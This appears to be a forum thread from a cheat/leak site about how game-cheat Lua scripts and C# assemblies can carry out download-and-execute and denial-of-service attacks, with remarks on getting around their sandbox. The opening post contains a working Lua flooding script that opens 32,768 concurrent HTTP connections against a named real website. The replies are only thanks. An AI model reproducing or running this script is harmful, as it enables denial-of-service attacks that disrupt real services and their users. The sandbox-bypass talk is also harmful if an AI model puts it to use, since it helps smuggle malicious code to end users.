Jump to content

Welcome to NulledBlog
Register now to gain access to all of our features. Once registered and logged in, you will be able to create topics, post replies to existing threads, give reputation to your fellow members, get your own private messenger, post status updates, manage your profile and so much more. If you already have an account, login here - otherwise create an account for free today!
Photo

Doing evil stuff from BoL scripts/MoronSharp Assemblies

bol evil script lulz denial of service

  • Please log in to reply
6 replies to this topic

#1
Bricolage86

  • Offline
  • Member

  • Posts:
    42
    Reputation:
    17
    Joined:
    27 Feb, 2015

As you know Lua is not some scripting language, same goes for C#.

This thread aims to show "danger of incompetent developers" and how it will affect you.

Top crap that come to mind:
-Download/Execute?!
-Denial of service attacks from a script/asm

+More like no reason to list these things. It's a fucking programming language. So everything depends on the coding skills of the programmer.

 

When this kind of events happened both they have developed the sandbox mode. But..There is still ways to workout so try to bypass or just develop a library/script that allows us to do without bypass. In my opinion bypassing isn't even needed.

Anyway.

 

So we back to start: stupid programmers and their product design.

So what do you think? What else can be done? What should end-users do to protect themselves?
Share your thoughts.

Here's my Lua snippet on the matter. (Simple shiet)

require "socket"

threads = {}
thread_num = 32768
host = "www.joduska.me" --Kappa
port = 80 --443
request = "GET /index.html HTTP/1.0\r\n\r\n" --Change it for HTTPS requst
ok_num = 0


function thread_func(host, port, request)
    local conn = socket.connect(host, port)
    local count = 0
    
    conn:send(request)
    
    while true do
        local s, status, partial = receive(conn)

        count = count + #(s or partial)
        if status == "closed"
        then
            break
        end
    end
    
    conn:close()
    ok_num = ok_num + 1
end

function receive(connection)
    connection:settimeout(0)
    
    local s, status, partial = connection:receive(1024)
    
    if status == "timeout" then
        coroutine.yield(connection)
    end
    return s, status, partial
end



function thread_pool(thread_num)
    for i = 1, thread_num, 1
    do
        local co = coroutine.create(function() thread_func(host, port, request) end)
        table.insert(threads, co)
    end
end

function run()
    local i =1
    local now_ok_num = 0
    local connections = {}
    
    thread_pool(thread_num)
    
    while true do
        if threads[i] == nil then
            if threads[1] == nil
            then
                io.write("<<100% done\n")
                break
            end
            i =1
            connections = {}
        end
        
        local status, res = coroutine.resume(threads[i])
        
        if not res then
            --echo result
            now_ok_num = now_ok_num + 1
            
            if now_ok_num * 100 >= thread_num
            then
                io.write("#")
                io.flush()
                now_ok_num = 0
            end
            table.remove(threads, i)
        else
            i = i+1
            connections[#connections + 1] = res
            if #connections == #threads then
                socket.select(connections)
            end
        end
    end
            
end

run()

Yokel detector.

Hidden Content
You'll be able to see the hidden content once you reply to this topic.


  • 0

#2
rhdjeezy123

  • Offline
  • Member

  • Posts:
    65
    Reputation:
    13
    Joined:
    08 Feb, 2016

thankss


  • 0

#3
zelazny

  • Offline
  • Member

  • PipPipPip
  • Posts:
    28
    Reputation:
    -50
    Joined:
    13 Mar, 2016

wp thanks :)


  • 0

#4
miszauke

  • Offline
  • Member

  • PipPipPip
  • Posts:
    25
    Reputation:
    -50
    Joined:
    13 Mar, 2016

thanks


  • 0

#5
kIRTOflo

  • Offline
  • New Member

  • Posts:
    17
    Reputation:
    0
    Joined:
    19 Mar, 2016

ty


  • 0

#6
BoliBerrys

  • Offline
  • Veteran

  • Posts:
    709
    Reputation:
    19
    Joined:
    12 Apr, 2015

Tyyy


  • 0

#7
fancyface

  • Offline
  • New Member

  • Posts:
    12
    Reputation:
    0
    Joined:
    17 Apr, 2016

thanx mate


  • 0



Also tagged with one or more of these keywords: bol, evil, script, lulz, denial of service

0 user(s) are reading this topic

0 members, 0 guests, 0 anonymous users